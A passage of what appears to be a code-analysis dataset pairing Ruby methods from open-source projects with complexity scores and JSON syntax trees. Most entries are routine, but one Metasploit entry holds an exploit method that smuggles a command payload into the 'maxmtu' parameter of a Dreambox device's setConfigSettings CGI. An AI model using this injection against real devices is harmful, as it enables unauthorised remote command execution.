:\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrettyText\"]},\"avatar_img\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"avatar_template\"]},{\"type\":\"str\",\"children\":[\"huge\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bio\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"user_profile\"]},\"bio_excerpt\",{\"type\":\"int\",\"children\":[230]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Onebox\"]},\"Helpers\"]},\"sanitize\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"user_profile\"]},\"location\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"joined\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"onebox.discourse.user_joined_community\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"created_at\"]},\"strftime\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"datetime_formats.formats.date_only\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"website\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"user_profile\"]},\"website\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"website_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserSerializer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"website_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"original_url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mustache\"]},\"render\",{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"discourse_user_onebox\"]}]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"32a36b33-2c39-4957-8405-45a4ba8ea28e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/disjunctive_assignment_in_constructor.rb","start_line":78,"raw_source":"def check_body_lines(lines)\n          lines.each do |line|\n            case line.type\n            when :or_asgn\n              check_disjunctive_assignment(line)\n            else\n              # Once we encounter something other than a disjunctive\n              # assignment, we cease our investigation, because we can't be\n              # certain that any future disjunctive assignments are offensive.\n              # You're off the case, detective!\n              break\n            end\n          end\n        end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check_body_lines\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lines\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"or_asgn\"]},{\"type\":\"send\",\"children\":[null,\"check_disjunctive_assignment\",{\"type\":\"lvar\",\"children\":[\"line\"]}]}]},{\"type\":\"break\",\"children\":[]}]}]}]}","id":"070a3105-1a05-4648-b0d2-453c4101fb0f"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/api.rb","start_line":1318,"raw_source":"def initialize(arr)\n      # Must be same order as fetch_keys above\n      @started_at = Time.at(Integer(arr[0]))\n      @jid = arr[1]\n      @type = arr[2]\n      @token = arr[3]\n      @size = Integer(arr[4])\n      @elapsed = Float(arr[5])\n    end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@started_at\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"at\",{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@jid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@token\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@size\",{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@elapsed\",{\"type\":\"send\",\"children\":[null,\"Float\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]}]}]}]}]}","id":"6c52acc5-cbdb-4598-88a4-c39e2a45dbc3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/persistence_service.rb","start_line":164,"raw_source":"def log_file\n    # Get hostname\n    host = session.sys.config.sysinfo[\"Computer\"]\n\n    # Create Filename info to be appended to downloaded files\n    filenameinfo = \"_\" + ::Time.now.strftime(\"%Y%m%d.%M%S\")\n\n    # Create a directory for the logs\n    logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))\n\n    # Create the log directory\n    ::FileUtils.mkdir_p(logs)\n\n    logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + \".rc\"\n  end","complexity_score":26.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"config\"]},\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Computer\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filenameinfo\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"_\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Time\"]},\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y%m%d.%M%S\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"logs\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"log_directory\"]},{\"type\":\"str\",\"children\":[\"persistence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"FileUtils\"]},\"clean_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"filenameinfo\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"logs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logs\"]},\"+\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"Separator\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"FileUtils\"]},\"clean_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"filenameinfo\"]}]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".rc\"]}]}]}]}","id":"be6db72e-ec19-46a2-83cb-32aac5763326"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/lib/deliver/submit_for_review.rb","start_line":9,"raw_source":"def submit!(options)\n      app = Deliver.cache[:app]\n\n      platform = Spaceship::ConnectAPI::Platform.map(options[:platform])\n      version = app.get_edit_app_store_version(platform: platform)\n\n      unless version\n        UI.user_error!(\"Cannot submit for review - could not find an editable version for '#{platform}'\")\n        return\n      end\n\n      build = select_build(options, app, version, platform)\n\n      update_export_compliance(options, app, build)\n      update_submission_information(options, app)\n\n      create_review_submission(options, app, version, platform)\n      UI.success(\"Successfully submitted the app for review!\")\n    end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"submit!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"app\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Deliver\"]},\"cache\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"platform\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Platform\"]},\"map\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"platform\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"get_edit_app_store_version\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"lvar\",\"children\":[\"platform\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cannot submit for review - could not find an editable version for '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"platform\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"build\",{\"type\":\"send\",\"children\":[null,\"select_build\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"app\"]},{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"platform\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update_export_compliance\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"app\"]},{\"type\":\"lvar\",\"children\":[\"build\"]}]},{\"type\":\"send\",\"children\":[null,\"update_submission_information\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"app\"]}]},{\"type\":\"send\",\"children\":[null,\"create_review_submission\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"app\"]},{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"platform\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"Successfully submitted the app for review!\"]}]}]}]}","id":"cc7c8a9f-a54c-45ab-b7c8-081d64ac104e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/class_attributes.rb","start_line":35,"raw_source":"def superclass_attributes(name)\n        return unless superclass.include? Gitlab::ClassAttributes\n\n        superclass.get_class_attribute(name)\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"superclass_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"superclass\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ClassAttributes\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"superclass\"]},\"get_class_attribute\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"ad39d5eb-501d-45f4-9b35-274cf81024d0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/references/reference_filter.rb","start_line":257,"raw_source":"def query\n          @query ||= %{descendant-or-self::text()[not(#{ignore_ancestor_query})]\n          | descendant-or-self::a[\n            not(contains(concat(\" \", @class, \" \"), \" gfm \")) and not(@href = \"\")\n          ]}\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@query\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"descendant-or-self::text()[not(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignore_ancestor_query\"]}]},{\"type\":\"str\",\"children\":[\")]\\n\"]},{\"type\":\"str\",\"children\":[\"          | descendant-or-self::a[\\n\"]},{\"type\":\"str\",\"children\":[\"            not(contains(concat(\\\" \\\", @class, \\\" \\\"), \\\" gfm \\\")) and not(@href = \\\"\\\")\\n\"]},{\"type\":\"str\",\"children\":[\"          ]\"]}]}]}]}","id":"8726a36f-1f9b-442f-b3b6-054f11d393c2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/dreambox_openpli_shell.rb","start_line":60,"raw_source":"def exploit\n    print_status(\"#{rhost}:#{rport} - Sending remote command...\")\n    vprint_status(\"#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state\")\n    begin\n      send_request_cgi(\n        {\n          'uri' => normalize_uri(\"cgi-bin\", \"setConfigSettings\"),\n          'method' => 'GET',\n          'vars_get' => {\n            \"maxmtu\" => \"1500&#{payload.encoded}&\"\n          }\n        }\n      )\n    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT\n      fail_with(Failure::Unreachable, \"#{rhost}:#{rport} - HTTP Connection Failed, Aborting\")\n    end\n  end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Sending remote command...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Blind Exploitation - unknown Exploitation state\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"cgi-bin\"]},{\"type\":\"str\",\"children\":[\"setConfigSettings\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"maxmtu\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"1500&\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"str\",\"children\":[\"&\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECONNREFUSED\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ETIMEDOUT\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - HTTP Connection Failed, Aborting\"]}]}]}]},null]}]}]}]}","id":"cb2292fc-de52-4dcf-be5a-d9c68efb4809"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/nessus.rb","start_line":619,"raw_source":"def cmd_nessus_report_hosts(*args)\n        search_term = nil\n        scan_id = nil\n        while (arg = args.shift)\n          case arg\n          when '-h', '--help'\n            print_status('nessus_report_hosts <scan ID> -S searchterm')\n            print_status('Use nessus_scan_list to get a list of all the scans. Only completed scans can be reported.')\n            return\n          when '-S', '--search'\n            search_term = /#{args.shift}/nmi\n          else\n            scan_id = arg\n          end\n        end\n\n        if scan_id.nil?\n          print_status('Usage: ')\n          print_status('nessus_report_hosts <scan ID> -S searchterm')\n          print_status('Use nessus_scan_list to get a list of all the scans. Only completed scans can be reported.')\n          return\n        end\n\n        tbl = Rex::Text::Table.new(\n          'SearchTerm' => search_term,\n          'Columns' => [\n            'Host ID',\n            'Hostname',\n            '% of Critical Findings',\n            '% of High Findings',\n            '% of Medium Findings',\n            '% of Low Findings'\n          ]\n        )\n        if is_scan_complete(scan_id)\n          details = @n.scan_details(scan_id)\n          details['hosts'].each do |host|\n            tbl << [ host['host_id'], host['hostname'], host['critical'], host['high'], host['medium'], host['low'] ]\n          end\n          print_line\n          print_line tbl.to_s\n        else\n          print_error('Only completed scans can be used for host reporting')\n          return\n        end\n      end","complexity_score":46.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_nessus_report_hosts\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"search_term\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"scan_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arg\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"shift\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"str\",\"children\":[\"--help\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"nessus_report_hosts <scan ID> -S searchterm\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Use nessus_scan_list to get a list of all the scans. Only completed scans can be reported.\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-S\"]},{\"type\":\"str\",\"children\":[\"--search\"]},{\"type\":\"lvasgn\",\"children\":[\"search_term\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"shift\"]}]},{\"type\":\"regopt\",\"children\":[\"i\",\"m\",\"n\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"scan_id\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan_id\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Usage: \"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"nessus_report_hosts <scan ID> -S searchterm\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Use nessus_scan_list to get a list of all the scans. Only completed scans can be reported.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"tbl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SearchTerm\"]},{\"type\":\"lvar\",\"children\":[\"search_term\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Host ID\"]},{\"type\":\"str\",\"children\":[\"Hostname\"]},{\"type\":\"str\",\"children\":[\"% of Critical Findings\"]},{\"type\":\"str\",\"children\":[\"% of High Findings\"]},{\"type\":\"str\",\"children\":[\"% of Medium Findings\"]},{\"type\":\"str\",\"children\":[\"% of Low Findings\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_scan_complete\",{\"type\":\"lvar\",\"children\":[\"scan_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"details\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@n\"]},\"scan_details\",{\"type\":\"lvar\",\"children\":[\"scan_id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"[]\",{\"type\":\"str\",\"children\":[\"hosts\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]\",{\"type\":\"str\",\"children\":[\"host_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]\",{\"type\":\"str\",\"children\":[\"hostname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]\",{\"type\":\"str\",\"children\":[\"critical\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]\",{\"type\":\"str\",\"children\":[\"high\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]\",{\"type\":\"str\",\"children\":[\"medium\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]\",{\"type\":\"str\",\"children\":[\"low\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"to_s\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Only completed scans can be used for host reporting\"]}]},{\"type\":\"return\",\"children\":[]}]}]}]}]}","id":"dff039ee-e9de-491f-aa21-1b58acdcfd7f"}
{"repo_name":"forem","file_path":"./repos/forem/app/sanitizers/comment_email_scrubber.rb","start_line":8,"raw_source":"def allowed_node?(node)\n    tags.include?(node.name) && node.children.present?\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_node?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tags\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"present?\"]}]}]}","id":"47db1971-1a6f-464c-a682-f804bb64a3f6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/targets/database.rb","start_line":33,"raw_source":"def dump(destination_dir)\n            FileUtils.mkdir_p(destination_dir)\n\n            postgres = Gitlab::Backup::Cli::Services::Postgres.new(context)\n\n            # Phase 1: trigger snapshot generation (quick)\n            postgres.each do |database|\n              dump_file_name = file_name(destination_dir, database)\n\n              database.export_snapshot!\n            rescue ActiveRecord::ConnectionNotEstablished\n              raise Errors::DatabaseBackupError.new(database.connection_params, dump_file_name)\n            end\n\n            # Phase 2: Run PgDump based on snapshot_id (slow)\n            postgres.each do |database| # rubocop:disable Style/CombinableLoops -- export needs to happen first\n              pg_database_name = database.configuration.database\n              dump_file_name = file_name(destination_dir, database)\n\n              Gitlab::Backup::Cli::Output.print_info(\"Dumping PostgreSQL database #{pg_database_name} ... \")\n\n              status = database_dump(database: database, filepath: dump_file_name)\n              report_finish_status(status.success?)\n\n              unless errors.empty?\n                Gitlab::Backup::Cli::Output.error \"------ BEGIN ERRORS -----\"\n                Gitlab::Backup::Cli::Output.print(errors.join, stderr: true)\n                Gitlab::Backup::Cli::Output.error \"------ END ERRORS -------\"\n              end\n\n              raise Errors::DatabaseBackupError.new(database.connection_params, dump_file_name) unless status.success?\n            ensure\n              database.release_snapshot!\n              database.restore_timeouts!\n            end\n          end","complexity_score":50.5,"ast_json":"{\"type\":\"def\",\"children\":[\"dump\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"destination_dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"destination_dir\"]}]},{\"type\":\"lvasgn\",\"children\":[\"postgres\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Backup\"]},\"Cli\"]},\"Services\"]},\"Postgres\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"context\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"postgres\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"database\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dump_file_name\",{\"type\":\"send\",\"children\":[null,\"file_name\",{\"type\":\"lvar\",\"children\":[